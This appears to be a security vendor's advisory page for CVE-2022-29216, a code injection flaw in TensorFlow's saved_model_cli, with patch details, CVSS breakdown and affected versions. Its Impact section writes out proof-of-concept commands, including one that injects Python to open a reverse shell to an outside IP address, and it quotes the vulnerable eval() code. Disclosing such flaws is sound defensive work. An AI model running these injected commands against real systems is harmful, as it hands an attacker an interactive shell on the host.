Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2022-29216 — tensorflow

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-94 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Code injection in saved_model_cli in TensorFlow

Impact

TensorFlow's saved_model_cli tool is vulnerable to a code injection:

```

saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./

--tag_set serve --signature_def serving_default

```

This can be used to open a reverse shell

```

saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport

subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'

--dir ./ --tag_set serve --signature_def serving_default

```

This is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vuln/detail/CVE-2021-41228) was incomplete. Under [certain code paths](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574) it still allows unsafe execution:

```python

def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):

# ...

for input_raw in filter(bool, input_exprs_str.split(';')):

# ...

if safe:

# ...

else:

# ast.literal_eval does not work with numpy expressions

input_dict[input_key] = eval(expr) # pylint: disable=eval-used

return input_dict

```

This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.

However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.

Patches

We have patched the issue in GitHub commit [c5da7af048611aa29e9382371f0aed5018516cac](https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac).

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Attack vector: Local — a local account, shell or session on the host is needed.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2022-29216 is classified as CWE-94: Code Injection. Input is incorporated into code that the runtime evaluates, so an attacker can have their own code executed.

Affected software

CVE-2022-29216 is recorded against 3 packages.

  • tensorflow
  • tensorflow-cpu (from 2.8.0 up to 2.8.1)
  • tensorflow-gpu (from 2.8.0 up to 2.8.1)

Timeline and source

Published on 6 March 2024 and last revised on 13 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
nvd.nist.gov (Web)

Other advisories for this package

tensorflow has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-94: Code Injection) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-94
Public Exploit ⚠️ Yes
Source OSV
Published 2024-03-06
Updated 2026-08-20
Modified 2026-07-13

Affected Packages

Software From version Fixed in
tensorflow — —
tensorflow-cpu 2.8.0 2.8.1
tensorflow-gpu 2.8.0 2.8.1

Similar Threats

Exploit Protection

Are you running tensorflow?

CVE-2022-29216 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2022-29216 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2022
✓